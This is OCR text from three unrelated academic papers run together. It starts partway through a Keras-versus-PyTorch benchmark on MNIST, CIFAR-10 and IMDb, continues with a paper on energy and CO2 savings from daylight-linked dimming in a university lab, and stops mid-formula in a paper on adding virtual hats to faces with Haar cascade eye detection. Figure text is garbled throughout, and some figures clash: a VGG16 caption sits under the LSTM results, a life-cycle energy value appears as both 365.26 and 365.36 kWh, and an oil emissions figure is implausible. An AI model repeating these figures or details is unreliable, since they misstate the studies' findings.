Table 1 The properties of the widely-used, state-of-the-art deep learning platforms
Property Keras PyTorch Caffe Theano CNTK

Core Python Python C++ Python C++

Multi-core CPU support Available Available Available Available Available
Many-core GPU support ~ Available Available Available Available Available
NVIDIA cuDNN support Available Available Available Available Available

Supported programming Python Python, Python Python Python, C#
languages C++, Java

Number of stars received 48.9k 40.2k 30.6k 9.2k 16.8k

on GitHub

The popularities of the aforementioned deep learning platforms were retrieved through Google Trends
[44], which is a service by Google that analyzes the popularities of the given terms. As the worldwide
trends of the deep learning platforms in the last 5 years were presented in Figure 1, the rank of the
popularities of the deep learning platforms was found as follows: Keras, PyTorch, Caffe, Theano, and
CNTK, whose average trend scores were obtained as 56, 33, 15, 5, and 2, respectively. For the sake of
comparison, the two most popular deep learning frameworks in terms of (i) the number of stars received
on GitHub, and (ii) the trend scores which were obtained from Google Trends, namely, Keras, and
PyTorch, were benchmarked within this study. The benchmarking experiments within this study were
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carried out on the Google’s Colaboratory (a.k.a. Colab) [45] platform, which provides free powerful
GPUs such as Nvidia Tesla K80 as high computational power is necessary to train deep neural networks
with a large amount of data. Another advantage of utilizing the Colab is that many highly popular Python
libraries including but not limited to TensorFlow, Keras, PyTorch, NumPy, Pandas, and scikit-learn are
already pre-installed on this platform. The versions of Keras and PyTorch were 2.3.1 on the TensorFlow
2.2.0 backend, and 1.6.0, respectively. The operating system of the host provided by Colab was
GNU/Linux 4.19.104 x86_64 which was bundled with Python 3.6.9.

100 Vendor
—— Keras
PyTorch
gp @ Caffe
~-%¥-- Theano
CNTK

60

Trend Score

40

20

2 ”
e e

0 50 100 150 200 250
Week

Figure 1 The trend scores of the deep learning platforms which were obtained from Google Trends in the last 5
years

3.2 Benchmarking Setup

For the sake of benchmarking the deep learning platforms, models based the three most popular types
of deep neural networks, namely, FNN, CNN, and RNN, were proposed and trained on the de-facto
standard datasets since datasets play a critical role in the performance of deep neural networks [5], [46]—-
[48].

Feedforward Neural Networks. In order to benchmark the performance of Keras and PyTorch on
FNNs, a sample model, whose architecture’s block representation is presented in Figure 2, was
implemented using these deep learning platforms.

Output
—

Input

Dense
# of units: 10
activation: softmax

Dense
# of units: 64
activation: ReLU

Dense
— # of units: 64
activation: ReLU

Figure 2 A block representation of the architecture of the proposed sample FNN model

In order to train and test the network, a de-facto standard dataset, namely, MNIST, was utilized. MNIST
is a large dataset of handwritten digits that were size-normalized and centered in a fixed-size as some
examples of the images in the dataset are presented in Figure 3. Each digit in MNIST is represented as a
28x28 pixel grayscale image. This dataset is already provided by both Keras and PyTorch through the
keras, and torchvision packages, respectively. To prevent any potential issues due to manual
installation, the built-in versions of the MNIST were preferred. The Adaptive Moment Estimation (Adam)
[49], which is an extension to the Stochastic Gradient Descent (SGD) [50], was employed as the
optimization algorithm of the proposed sample FNN model with the intention of updating the network
weights more efficiently by computing adaptive learning rates for each network parameter from
estimates of first and second moments of the gradient [2]. The hyper-parameters of the proposed sample
FNN model are listed in Table 2.
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Figure 3 Some examples of the images in the MNIST dataset
Table 2 The hyper-parameters of the proposed sample FNN model

Hyper-parameter Value
Optimization algorithm Adam
Learning rate e 3

Loss function Categorical Cross-Entropy
Batch size 80

Number of epochs 20

Convolutional Neural Networks. In order to benchmark the performance of Keras and PyTorch on
CNNs, a highly popular architecture, namely, VGGI6 [51], was utilized which achieved 92.7% top-5
accuracy for the gold standard /mageNet [1] dataset. Both Keras and PyTorch provide VGGI6
implementations through the keras, and torchvision packages, respectively. A block representation
of the architecture of the V'GG16 is presented in Figure 4.

Input

Conv
# of filters: 64

Conv
# of filters: 512

# of filters: 512

Conv
# of filters: 64

Conv

# of filters: 512 ¢ MaxPooling |

.| MaxPooling

SR
_|MaxPooling

# of filters: 512

Conv
# of filters: 128

Conv
# of filters: 256

# of filters: 512

Conv
# of filters: 128

Conv
# of filters: 256

# of filters: 512

.. | MaxPooling

kernel size: 3x3 kernel size: 3x3 | pool size: 2 | kernel size: 3x3 kernel size: 3x3 pool size: 2
\ )activation: RelLU activation: ReLU activation: ReLU . activation: ReLU |
)

Conv

. | #offilters: 266

kernel size: 3x3 kernel size: 3x3 pool size: 2 kernel size: 3x3 kernel size: 3x3 kernel size: 3x3
\_activation: ReLU ) activation: ReLU | \_activation: ReLU | | activation: ReLU | | activation: ReLU
Conv Conv Conv Conv

| MaxPooling

Kernel size: 3x3
\_activation: ReLU

pool size: 2 kernel size: 3x3

_activation: ReLU )

kernel size: 3x3
\_activation: ReLU |

kernel size: 3x3
_ activation: ReLU

Oulput Dense Dense Dense
# of units: 4096 # of units: 4096 # of units: 4096
activation: softmax activation: softmax activation: softmax

Figure 4 A block representation of the architecture of the VGGI6

pool size: 2

In order to train and test the network, a de-facto standard dataset, namely, CIFAR-10, was utilized.
CIFAR-101s a large database of color images in ten classes, namely, airplane, automobile, bird, cat,
deer, dog, frog, horse, ship, and truck. Each sample is represented as a 32x32 pixel color image
as some examples of the images in the dataset are presented in Figure 5. This dataset is already provided
by both Keras and PyTorch through the keras, and torchvision packages, respectively. Similar to the
experiment on FNNs, the built-in versions of the CIFAR-10 were preferred in order to prevent any

potential issues due to manual installation. The employed hyper-parameters of the VGG16 are listed in
Table 3.
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Figure 5 Some examples of the images in the CIFAR-10 dataset

Table 3 The employed hyper-parameters of the VGG16
Hyper-parameter Value

Optimization algorithm Adam

Learning rate e ?

Loss function Categorical Cross-Entropy
Batch size 80

Number of epochs 20

Recurrent Neural Networks. LSTM is a special type of RNN that provides the following advantages
comparing to RNNs: (i) LSTM solves the general problem of gradient descent [52], and (ii) it has long-
term memory, which is a key necessity for sequence processing. In order to benchmark the performance
of Keras and PyTorch on RNNs, a sample LSTM model, whose architecture’s block representation is
presented in Figure 6, was implemented using these deep learning platforms.

Input Embedding LSTM Dense Output
input dim: 5,000 # of units: 256 # of units: 1
output dim: 32 activation: tanh activation: sigmoid

Figure 6 A block representation of the architecture of the proposed sample LSTM model

In order to train and test the network, a de-facto standard dataset, namely, /IMDb Movie Review [53]
dataset, was utilized. This dataset consists of movie reviews from IMDb (Internet Movie Database), a
widely-used online movie database. Each movie review in the dataset is encoded as a list of word
indexes (integers) and is labeled with a sentiment class (positive/negative). Some samples from the
IMDb Movie Review dataset are listed in Table 4.

Table 4 Some samples from the IMDb Movie Review dataset
Movie Review Sentiment Class

“If you like original gut wrenching laughter you will like this movie. If you are young or

old then you will love this movie, hell even my mom liked it. Great Camp!!!” posttive
“This movie was terrible. The plot was terrible and unbelievable. I cannot recommend
this movie. Where did this movie come from? This movie was not funny and wasted the negative

talent of some great actors and actresses including: Gary Sinise, Kathy Bates, Joey
Lauren Adams, and Jennifer Tilly.”

The IMDb Movie Review dataset is already provided by both Keras and PyTorch through the keras,
and torchtext packages, respectively. Similar to the previous experiments, the built-in versions of the
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IMDb Movie Review dataset were preferred in order to prevent any potential issues due to manual
installation. The hyper-parameters of the proposed sample LSTM model are listed in Table 5.

Table 5 The hyper-parameters of the proposed sample LSTM model

Hyper-parameter Value

Optimization algorithm Adam

Learning rate e ?

Loss function Binary Cross-Entropy
Batch size 500

Number of epochs 10

4. Experimental Result and Discussion

All the experiments were evaluated on the GPUs available on Colab since the significant processing
speedup of deep neural networks as a result of the utilization of GPUs instead of CPUs is widely
experimented [20], [23], [25], [28]. Evaluation metrics are critical for benchmarking studies. The
following three evaluation metrics were used in this study: (i) Training time, the time spent on training
the network, (ii) testing time, the time spent on testing the trained network which is a clear indicator of
any potential latency of deploying the model for prediction [20], and (iii) prediction accuracy, the
accuracy of the model for predicting the unknown samples (a.k.a. testing set). It is worth to mention that
these durations were calculated thanks to the built-in Python function time, which is available in the
time package of the Python SDK and returns the current time in seconds since the Epoch, through the
calculation of the time difference between the timestamps retrieved before and after each phase
(training/testing) of the employed networks. Also, each experiment was repeated 10 times and the final
values were determined through the cumulative averages of the trials. In the following paragraphs, the
experimental result and discussion are presented for each neural network type.

Feedforward Neural Networks. MNIST dataset was utilized to train and test the proposed FNN model
for the sake of benchmarking the deep learning platforms on FNNs. MNIST consists of 60, 000 training,
and 10,000 test images. 20% of the training images were employed as the validation set which is
necessary to update the weights and tune the model. Keras was found as more accurate than PyTorch
on prediction accuracy as the experimental result is listed in Table 6. When it comes to training time,
Keras was found about 3. 8 times faster than PyTorch. For the testing time, Keras was found about 2. 4
times faster than PyTorch. The calculated training and testing times of Keras and PyTorch for the
proposed sample FNN model are presented in Figure 7. According to this experiment, it is safe to
conclude that Keras is a better choice for the implementations of FNNs.

Table 6 The calculated prediction accuracy of Keras and PyTorch for the proposed sample FNN model

Platform Accuracy (%)
Keras 97.24
PyTorch 96.69
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Figure 7 The calculated training (left) and testing (right) times of Keras and PyTorch for the proposed sample
FNN model
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Convolutional Neural Networks. The CIFAR-10 dataset was utilized to train and test the employed
VGGI16 for the sake of benchmarking the deep learning platforms on CNNs. CIFAR-10 consists of
50, 000 training, and 10, 000 test images. 20% of the training images were employed as the validation
set which is necessary to update the weights and tune the model during backpropagation. Keras was
found as more accurate than PyTorch on prediction accuracy as the experimental result is listed in Table
7. When it comes to training time, Keras was found about 1.9 times faster than PyTorch. For the testing
time, Keras was found about 1.4 times faster than PyTorch. The calculated training and testing times
of Keras and PyTorch for the employed VGGI16 are presented in Figure 8. Consequently, it is safe to
conclude from this experiment that Keras was found as a better choice for the implementations of CNNs.

Table 7 The calculated prediction accuracy of Keras and PyTorch for the employed VGG16

Platform Accuracy (%)
Keras 78.43
PyTorch 76.54
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Figure 8 The calculated training (left) and testing (right) times of Keras and PyTorch for the employed VGG16

Recurrent Neural Networks. The IMDb Movie Review dataset was utilized to train and test the
proposed sample LSTM model for the sake of benchmarking the deep learning platforms on RNNs. The
IMDb Movie Review dataset consists of 25, 000 movie reviews for training, and 25, 000 movie reviews
for testing, and only top (most frequent 5,000) words were kept. 20% of the training images, 5,000
movie reviews, were employed as the validation set. PyTorch was found as more accurate than Keras
as the experimental result is listed in Table 8. When it comes to training time, PyTorch was found about
1.3 times faster than Keras. Unlike training, Keras was found about 1. 6 times faster than PyTorch for
testing. The calculated training and testing times of Keras and PyTorch for the proposed sample LSTM
model are presented in Figure 9. According to this experiment, it is safe to conclude that PyTorch was
found as a better choice for the implementations of RNNs as Keras was found better at only one of the
evaluation metrics, which was the testing time.

Table 8 The calculated prediction accuracy of Keras and PyTorch for the proposed sample LSTM model

Platform Accuracy (%)
Keras 85.83
PyTorch 87.08

7

6

Training Time (sec.)
Test Time (sec.)

1
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Keras PyTorch Keras PyTorch
Platform Platform

Figure 9 The calculated training (left) and testing (right) times of Keras and PyTorch for the employed VGG16
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5. Conclusion

Deep neural networks have proven their efficacy in many topics and their effectiveness is still being
experimented on a wide range of topics thanks to the previous great success. Since there exist various
highly-popular, state-of-the-art platforms for the implementation of deep neural networks, which one
provides the best performance is a question that should be shed light on. To this end, five state-of-the-
art deep neural network platforms, namely, (i) Keras, (ii) PyTorch, (iii) Caffe, (iv) Theano, and (v)
CNTK were compared in this study. The two most popular of these platforms, namely, Keras, and
PyTorch, were both quantitatively and qualitatively compared. For the quantitative comparison, models
that were based on three widely-used deep neural network types, namely, (i) FNN, (ii) CNN, and (iii)
RNN, were implemented using Keras and PyTorch. Three evaluation metrics, namely, (i) training time,
(ii) testing time, and (iii) prediction accuracy, were used for the performance comparison of the deep
neural network platforms. According to the experimental result, Keras was found as a better choice both
accuracy-wise and time-wise compared to PyTorch for the models based on FNNs and CNNs. When it
comes to models based on RNNs, while PyTorch provided better accuracy and required less time to
train the model, Keras was found as faster than PyTorch for the testing of RNN.

As future work, the proposed models can be employed on CPU to reveal their performances under CPU.
Also, more deep neural network types and more deep neural network platforms can be included for the
conducted experiments for a more comprehensive benchmark. In addition to this, the technical reasons
behind the performance differences between the deep learning platforms can be further investigated by
deeply investigating the implementations of these platforms. Finally, the qualities of deep neural
network platforms can be evaluated with respect to distributed-execution.
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Abstract

The main purpose of this work is to examine the environmental impact of a daylight-linked dimming lighting
control system integrated in the Lighting Laboratory of Electrical and Electronics Engineering Department,
Sakarya University. For this purpose, total annual energy savings and greenhouse gas emission savings is
performed in terms of measured annual in operation data and calculated life cycle energy data. The results
indicate that the system provides 1,519.55 kWh annual energy savings and spends 365.26 kWh life cycle energy.
Assuming that life time of a lighting control system is ten years, annual energy spent by the control system is
estimated 36.54 kWh/year. Total annual lighting energy savings, subtraction of estimated annual life cycle
energy from measured annual energy savings, are calculated 1,483.01 kWh which is nearly 40% of total annual
lighting energy consumption of the test room accordingly. In conclusion, it is established that emissions of the
test room are reduced 2.71 tCO; annually by the lighting control system proposed in this work.

Keywords: daylight-adaptive systems, dimmable electronic ballasts, life cycle analysis, energy savings,
greenhouse gas emission savings, climate change

1. Introduction

It is a fact that anthropogenic greenhouse gas emissions which have been proceeding at an
unprecented rate since 1880 induced the past century’s warming at a critical level between 0.8°C and
1.2°C [IPCC]. Today, the effects of this rising warming trend are noticeable indisputably in natural
and human systems as heatwaves, frost free seasons, rising sea levels, wildfires, floods, droughts and a
range of others. According to the climate models, it is possible to limit the warming less than 0.5°C, if
all human activity related emissions are reduced to zero. It is vital to limit the warming to 1.5°C since
risks are increasing dramatically in 2°C scenarios [1].

The buildings and building construction sectors have been growing rapidly in the last decade as a
result of rising demands of modern world. The reports show that the sectors are responsible for 40% of
total direct and indirect global energy related emissions, the major contributor of anthropogenic
emissions [2]. Thus, mitigation of building related emissions is vital for limiting the warming at
desired levels.

Artificial lighting makes a significant contribution to total energy consumption in the buildings after
heating, air conditioning and ventilation. However, this contribution can be reduced to minimum or
even to zero with the use of lighting control systems and LED technologies. Lighting control systems
are investigated in three groups: daylight-linked lighting control systems, occupancy-based control
schemes and timers [3]. Daylight-linked control systems are used to provide adequate lighting levels
in buildings by switching on/off or dimming scenarios [4, 5]. Daylight-linked switching lighting
control systems determine the switching on and off ranges of a particular zone between 100% on and
100% off conditions based on daylight availability. On the other hand, control systems with dimming
scenarios determine the illuminance level of artificial lighting systems by dimmable electronic ballasts
in reference to the level of available daylight. Switching based control systems are usually used in
outdoor applications or used in indoor applications combined with dimmable electronic ballasts [6].
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In current literature, there are many studies which investigate the energy savings by daylight-linked
control systems. Chung et al. investigated artificial lighting energy savings of a Government building
with dimmable electronic ballasts and measured 20% savings [7]. Guillemin et al. developed a
daylight-linked lighting controller for a self-adaptive building and recorded 25% annual savings in
lighting energy consumption [8]. Onaygil et al. integrated a daylight responsive lighting system in a
building in Istanbul and saved 31% in lighting energy [9]. Atif et al. tested the energy performance of
two different daylight-linked lighting control systems in two large atrium spaces. They established that
dimming lighting control system saved 46% in lighting energy and switching control system provided
11%-%17 lighting energy savings [10]. Li et al. presented an experimental study to investigate the
performance of daylight-linked lighting control systems installed in a school building. They recorded
19.8%-65.5% fractional lighting energy savings under various control scenarios [Li DHW et al. 2010].
Delvaeye et al. investigated energy savings of three different daylight-linked lighting control systems
in a school building and monitored total annual lighting energy savings between 18% and 46% [11].
Demirbas et.al. figured out that up to 45% of lighting energycan be saved and 11.4 kgCO2/m?emission
can be prevented just designing the offices to have a better daylight penetration and equip the artificial
lighting with an automation system [12].

The objective of this study is to investigate the lighting energy saving potential and carbon footprint of
a daylight-linked lighting control system integrated in the Lighting Laboratory of Electrical and
Electronics Engineering Department, Sakarya University. The lighting control system is a dimming
based system which controls lighting levels of 8 double parabolic mirror louver luminaries to provide
recommended standard lighting conditions for a laboratory and an office room. The lighting
conditions of the laboratory is monitored from 08:30 to 18:30 every day for a year by a data collection
unit, Dagpro 5300. The measures for lighting energy savings are used to estimate greenhouse gas
emission savings obtained by the laboratory considering the energy consumption for production and
use phases of dimmable electronic ballasts of the lighting control system. The results indicate that the
lighting control system examined in this work provides 1,483.01 kWh energy savings and 2.71 tCO;
emissions savings every year.

2. Methodology

The test room, Lighting Laboratory, is a 36 m? room with one window oriented to the west located at
40 ° 74 ' North latitude and 30 ° 33 ' East longitude. The window of the room has a total area of 4.29
m?2 with an optimum height of 2.45 m [13]. The ceiling of the room is 2.85 m height and coloured in
white with a reflection factor of 0.86. The walls and the floor are coloured in cream and brown with
reflection factors 0.73 and 0.4 respectively. Artificial lighting system of the room are 8 double mirror
louver luminaries positioned in three rows which has two fluorescent lamps with 4000 K of colour
temperature and 5200 Im flux (Figure 1). All luminaries are connected to different dimmable
electronic ballasts controlled by Osram DALI Basic RC lighting automation system. Lighting
conditions of system are monitored by Dagpro 5300 and energy analysis of the room is performed by
Janitza UMG 503. Monthly energy savings in lighting energy consumption of the test room is given in
Table 1.

Figure 1 Artificial lighting of the test room
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Table 1 Initial Results

Month | Savings (%) | Savings [kKWh]
January 28.6 91.32
February 25.8 74.46
March 415 132.38
April 43.7 135.12
May 48.7 155.59
June 61.2 189.20
July 60.1 191.80
August 54.5 173.92
September 39.8 123.07

October 32.4 103.29
November 25.1 77.40
December 22.6 72.00

Table 1 shows that daylight-linked dimming control system integrated in the test room provides more
than 40% savings in total annual lighting energy consumption. Literature review and the results of this
work support the fact that benefiting from daylight in lighting systems reduces the energy
consumption and energy related greenhouse gas emissions. However, electronic ballasts used in
lighting control systems also have embodied energy and embodied greenhouse gas emissions due to
their life cycle stages; fabrication, transportation, installation and use [14]. Bakri et al. proposed that
45.67 KWh energy is required to produce and use one electronic ballast by using primary energy
sources, fossil fuels [15].

3. Results and Discussion

Annual energy savings in lighting energy consumption by the control system in this work is measured
1,519.55 kWh (Table 1). Life cycle energy of electronic ballasts of the control system is calculated
365.36 kWh. Assuming that life time of an electronic ballast is ten years, embodied energy of the
control system is 36.54 kWh/year. Total annual lighting energy savings equals to subtraction of
embodied energy of the control system from measured annual energy savings and calculated 1,483.01
kWh accordingly.

Table 2 indicates electricity generation and CO, emissions by primary energy sources of Turkey in
2018 [16]. According to Table 2, CO, emission factor, total energy based CO, emissions divided by
total fossil fuel use for electricity generation, is 1.83 tCO2/MWh.

Table 2 Electricity generation and CO, emissions by primary energy sources of Turkey in 2018

Energy source | Electricity generation [GWh] | CO; emissions [Mt]
Natural Gas 110,490.0 102.0
Coal 97,476.0 157.0
Oil 1,200.0 119.0

Energy and emission calculations show that the lighting control system investigated in this work saves
1,483.01 kWh lighting energy and 2.71 tCO, emissions every year. It is a fact that emission CO,
factors of Turkey has a rising trend in the last decade due to the rapid rise in fossil fuel based energy
demands [17]. Therefore, strict measures must be implemented to reduce energy consumption and
energy based greenhouse gas emissions to meet the climate change goals. Retrofitting the lighting
systems of office rooms and working places with daylight responsive control systems like the system
examined in this paper can provide at least 11.03 TWh/year lighting energy savings and 20.2
MtCOy/year emission savings, assuming that the control system saves 20% of total lighting energy
consumption. However, life cycle stages of electronic ballasts have non-negligible damages on human
health, ecosystem quality and resource depletion [15]. Therefore, the modern future world priority
must be reducing energy consumption and then investing in advanced technologies for a sustainable
future.
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4, Conclusion

This work investigates greenhouse gas emission savings by a dimming lighting control system
integrated in a laboratory of a public university, taking account of emissions released during the life
cycle of system components. Total annual savings by the control system in lighting energy
consumption is measured 1,519.55 kWh whereas total life time energy used by dimmable electronic
ballasts is estimated 365.36 kWh. In conclusion total annual savings in lighting energy consumption
and greenhouse gas emissions are calculated 1,483.01 kWh and 2.71 tCO; respectively. The obtained
results show that daylight-linked control systems make a significant contribution to climate change
goals with reasonable life cycle greenhouse emission values. Therefore, it is likely to propose that
adapting lighting technologies is vital to improve the carbon footprint of buildings. However, this
adaption must be carried out with political leadership to fight the coming climate crisis which is
expected to have more destroying effects in the coming decades. In the near future, all actions to
reduce/cut emissions in all sectors must be of top priority in order to limit warming to suggested
temperatures for a sustainable future.
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Abstract

Augmented reality applications related with faces such as make-up, hair design, wearing glasses are mostly
prepared for entertainment purposes. Facilitating the preparation of augmented reality applications and more
accurate analysis of real-world data in applications will enable these applications to be used more widely in
different sectors such as R&D, education and marketing. In generally, the steps in image-based augmented reality
applications can be listed as follows; detection of the targeted object, finding two reference points for each targeted
object in 2D images, determining the boundaries of virtual object in its image and inserting the virtual object in
real time. In this study, the problems that may be encountered in preparations of these augmented reality
applications expected to be used more in the future are examined through a case study. Firstly, haar cascade
classifiers, used to find different face areas, are compared and as a result of the comparison, it is decided to use
eye haar cascade. Afterwards, rule-based approaches have been used to eliminate the wrong ones among the found
eyes and to match the eyes of the same face. Then the position, size and angle of the virtual object to be added are
calculated and it is added to the face using affine transformations. The problems encountered in augmented reality
and algorithms used for problem solving are explained through the virtual hat application, but these simply
prepared algorithms, can be used for different objects such as hair and glasses by changing the target points.

Keywords: augmented reality, image processing, affine transformation, opencv, virtual object, haar
cascade.

Gercek Zamanh Yiiz Goritintiillerine Sanal Nesneler Eklenmesi;
Artirilmis Gergeklik Uzerine Bir Ornek Calisma

Oz

Makyaj, sa¢ tasarimi, gozliik takma gibi yiizlerle ilgili artirilmis gergeklik uygulamalar1 ¢ogunlukla eglence amagh
hazirlanmaktadir. Artirllmis gergeklik uygulamalarinin hazirlanmasinin kolaylagmasi ve uygulamalardaki gercek
diinyaya ait verilerin daha dogru analiz edilebilmesi, bu uygulamalarin Ar-Ge, egitim ve pazarlama gibi farkli
sektorlerde daha yaygin olarak kullanilmasini saglayacaktir. Genel olarak goriintii tabanli artirilmis gergeklik
uygulamalarindaki adimlar; goriintiilerde bulunmasi hedeflenen nesnelerin tespiti- edilmesi, 2D goriintiilerde
hedeflenen her nesne i¢in iki referans noktasinin bulunmasi, eklenmesi istenen nesneye ait goriintiideki sanal
nesnenin sinirlarinin belirlenmesi ve sanal nesnenin gergek zamanli olarak yerlestirilmesi seklinde siralanabilir.
Bu makalede, gelecekte daha fazla kullanilmasi beklenen bu artirilmis gergeklik uygulamalarimin hazirlanmasinda
karsilagilabilecek problemler bir drnek olay iizerinden incelenmistir. i1k olarak, farkl yiiz alanlarini bulmak icin
kullanilan haar cascade siniflandiricilart karsilastirilmis ve karsilastirma sonucunda géz bolgesi haar cascade
smiflandiricist kullanilmasina karar verilmistir. Bulunan gozler arasindan yanlis olanlarin elenmesi ve ayn1 yiize
ait gozlerin eslestirilmesi i¢in kural tabanli yaklasimlardan faydalanilmigtir. Daha sonra eklenecek sanal nesnenin
pozisyonu, boyutu ve agisi hesaplanmakta ve afin doniisiim yontemleri kullanilarak yiizde istenen bolge
goriintiisiine eklenmektedir. Arttirilmis gergeklikte karsilasilan problemler ve problem ¢6ziimii i¢in kullanilan
algoritmalar sanal sapka uygulamasi iizerinden anlatilmigtir, ancak yalin olarak hazirlanan bu algoritmalar hedef
noktalardegistirilerek sag, gozliik gibi farkli objeler i¢in de kullanilabilir.

Anahtar Kelimeler: artirilmig gergeklik, goriintii isleme, afin doniisiim, opencv, sanal nesne, haar cascade
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1. Introduction

In augmented reality studies, objects in the physical world such as image and sound are processed and
presented in a different way in real time. In these applications, pointers are often used to introduce
desired objects. With the increase in the processing level of computers, there is a transition from fixed
image pointers to applications where targets are found by using trained object features [1]. The
algorithms in these applications recognize targeted objects such as face, hand, 2D barcode image on
camera images. Then the target points in these images are found and combined with virtualimages [2].
If the targeted points are in the facial area, different detection methods can be used. Wang et al. (2018)
divided these methods into two groups basically; parametric shape basic model and nonparametric shape
model [3]. The haar cascade classifier used in this study is in the non-parametric shape model based
method group. Haar cascade algorithms are most commonly used algorithms for detecting areas such as
face, eyes and ears in the photographs. The haar cascade algorithms used in object detection were
developed by Viola and Jones and were presented for the first time at a conference in 2001 [4]. Viola
and Jones used rectangular frames, painted in black and white, to detect facial areas in the image and
found that different parts of the face are similar to the black and white frames created with different
combinations. For this reason, they moved the black and white frames in different combinations and
scales on the whole image and thus, determined the places similar to the black and white frames sought
in the image. They also developed "integral display algorithm" to ensure that this process can be done
quickly. Thus, they enabled the use of haar cascade algorithms on real-time images. Boosted cascade
detectors developed using haar features represent the most advanced method of face detection [5].
Athough several boosted approaches are developed to find face points, most of them are slow because
of their computationally costness [6]. In this study, a virtual reality study that can be used in real time
with simple algorithms has been prepared and the problems encountered during the preparation stages
have been examined.

The haar cascade algorithms in this study are run by using the Emgu CV.4.1.0 library in Visual Studio
environment developed from open source OpenCV. Here, haar cascade algorithms detect the eyes.
However, due to high error rates in the haar cascade detectors and the method presented in this study is
prepared for two-dimensional frontal images, it is necessary to eliminate some of the eyes found with
the algorithm and to identify the faces suitable for adding hats. After determining the faces, the findings
obtained by averaging different human faces [7] are used to determine the position of the hat to be
added to the image. While determining the hat position, the center points of the two eyes are combined
with an imaginary line and thus the degree of rotation is calculated. Affine algorithms have been used
for rotating and scaling processes. Afterwards, the difference between the hat color and the background
color in the hat image has been used in order not to add the background parts in the hat image.

Augmented reality studies which are related with face have been used in different areas. Some of them
are related with fashion like makeup [8, 9], wearing glasses [10, 11] or hair design [11, 12]. Some of
them are studied for security needs. For example, driving warnings are done according to eye opennings
[13] or the head poses monitored by using the vehicle cameras [14]. Also, augmented reality including
facial detections, is used for entertainment in some studies. For instance, Peng (2015) proposed a
development framework by using face detection in OpenCV and put on different funny face masks on
frontal faces [15]. Another study for entertainment belongs to Mahmood et. al. (2017). They prepared
an application showing the statistical data of the athlete on the screen by detecting and recognizing
his/her face [16]. Different from augmented reality studies with face detections, this article is focused
on the challengings in the development processes of augmented reality with facial detections. Also, it is
not used any equipment in the study except computer and camera. It identifies targeted points using only
the eye haar cascade algorithm and facial average shapes. In addition, this study proposes a simple
method that can be easily applied for different virtual face area objects.

2. Limitations of the Study

The constraints in the study can be listed as follows:
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For proper working haar cascade algorithms, the eyes should not be closed and the number of
pixels of the eye image should not be too small. Therefore, when the eyes were open and the
person was not far from the camera, the eyes could be identified and the prepared application
could work.

In very dark and bright environments, performance of haar cascade algorithms decreases [17].
Therefore, lighting should be at a sufficient level in application environments.

In the application, only two dimensional front view object images can be used.

Since the front view object image is two-dimensional, the application will not work on the faces
turning around the neck (yawing) and bent down or up (pitching).

Since the front view object borders are created by using the color difference between itself and
the background in the algorithm, the background should be plain and should not have the same
colours with the object.

It is assumed that the front view object image is adjusted to pass through the borders of itself.

s Virtual Objeet Insertion - ciEN|

& Cappac
)|

T =stHa

B44a0

Figure 1 A Screenshot taken from the program

3. Encountered Problems for Hat Adding Example

The operations performed in the study can be grouped under three parts. These are;

Finding the most suitable faces for wearing the loaded hat image among the people,

Determining the place of the hat according to the position of the eyes on the selected faces and
the angle of the axis passing through the eyes centers,

Positioning the hat on the planned location by scaling and rotating it.

These processes were attempted to be made in real time. The encountered problems and
solutions developed in the study are eximined under the following headings.

3.1 Decision of Which Face Area to Use in Hat Positioning

In order to find the facial areas, the most known haar cascade patterns used to find the human facial
areas. Eye, nose, mouth and frontial face profiles were found in the test photographs using haar cascade
patterns and each facial area found was shown in different colors.
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Figure 2 Eye (red), nose (blue), mouth (green) and front (white) frames obtained in an image by haar cascade
detectors

The following determinations wereobtained with the haar cascade images obtained from the 30 test
photos used:

e Although the front face haar cascade algorithms have high accurate, it has been observed that
front frames are located in different places than front faces. In this case, front face haar cascade
algorithms was not preferred to use.

¢ The eyes were not detected when the displayed faces became smaller. Since a notebook camera
from near distance was used in this study, the eye area size was not considered to be a problem.

e While cascades other than mouth draw a frame to cover the area they are looking for, the area
drawn by the haar cascade searching the mouth mostly covers the mouth area partially.

When more than one frame is found for the same face area, one of the frames is considered correct.

E True E False Not Found

200
150
100
50
8 15
0 =
Front Face Noise Mouth

Figure 3 Correct detection, wrong detection and undetectable numbers of facial area

On 30 test photos, haar cascade algorithms for eyes, nose, mouth and frontial face were run and the eye
haar cascade algorithm was observed with the highest accuracy rate (Fig. 3). For this reason, it was
decided to work with eye haar cascade. Since the haar cascade algorithms scan every area of the images
with patterns of different sizes, scanning time increases in proportion to the number of pixels in the
image. The working time of haar cascade classifiers of the eye, nose, mouth and front face is four times
greater than the working time of the eye haar cascade alone. For this reason, a second algorithm other
than eye detection algorithm was not used to take a smoother screenshot from the camera. In this case,
it is necessary to eliminate the eyes found wrong in the eye haar cascade application and to find the faces
to be applied with various algorithms.
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3.2 Eliminating Unsuitable Eyes

In haar cascade algorithms, incorrect detections can also be made besides correctly detected face areas.
Haar cascade algorithms can correctly detect all faces in the photos if background is plain, and correct
face detection rate reduced if the background is mixed [18, 19]. On the other hand, as mentioned in the
previous section, haar cascade algorithms searching for eyes can also capture images which are not
actually eyes. In this case, false eye detections should be eliminated with the algorithms prepared. In
addition, the image of the hat used in the study is two-dimensional. For this reason, eyes that are not
from frontial view should also be eliminated. After these eliminations, the eyes that are thought to belong
to the same face are matched with the prepared algorithm.

In the study, with the eye haar cascade algorithms, the starting point, rectangle width and rectangle
height of the rectangle drawn for each eye were found on the horizontal and vertical axis. By using these
inputs, the corner points of the rectangle drawn for each eye were kept in memory and some analyses
were performed by matching these rectangles in pairs. The processes for matching suitable eyes and
eliminating unsuitable eyes have some rule-based algorithms described under following subheadings.

Figure 4 Coordinations of eye’s rectangle corners

3.3.1 Examining the position heights of the eyes in the image

When looking at a face image from the front, both eyes are expected to be close to each other on the
vertical axis. Therefore, if there is more than twice the height of an eye between the y values of the
paired eyes, those eyes are not matched.

|(y1k] — y1[mD| < [(v2[k] — y1[k])]|.2 (D

3.3.2 Evaluation of the distance of two matching eyes from each other

Although two eyes are located close to each other on the vertical axis, these two eyes may not actually
belong to the same face. If the ratio of the distance between two eyes to the width of one of these eyes
is too high, these two eyes cannot belong to the same face. To measure this, the ratio of the distance of
the eye regions to each other to one eye width is calculated and it is desired that this ratio is not more
than 3 times.

|((x1[k] — x1[m]) / (x2[k] — x1[k]))] < 3 )

3.3.3 Preventing eyes matching between multiple drawn rectangles for the same eye

Another common error with eye haar cascade is to be drawn two rectangles for the same eye. In order
to prevent this error, it is necessary to eliminate the eye rectangles that intersect or cover each other. To
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fulfill this rule, if one of the paired eyes on the horizontal axis starts before the other ends, these two
eyes are not matched.

(x1[k] < x1[m] and x2[k] < x1[m] and x2[k] < x2[m])
or 3)
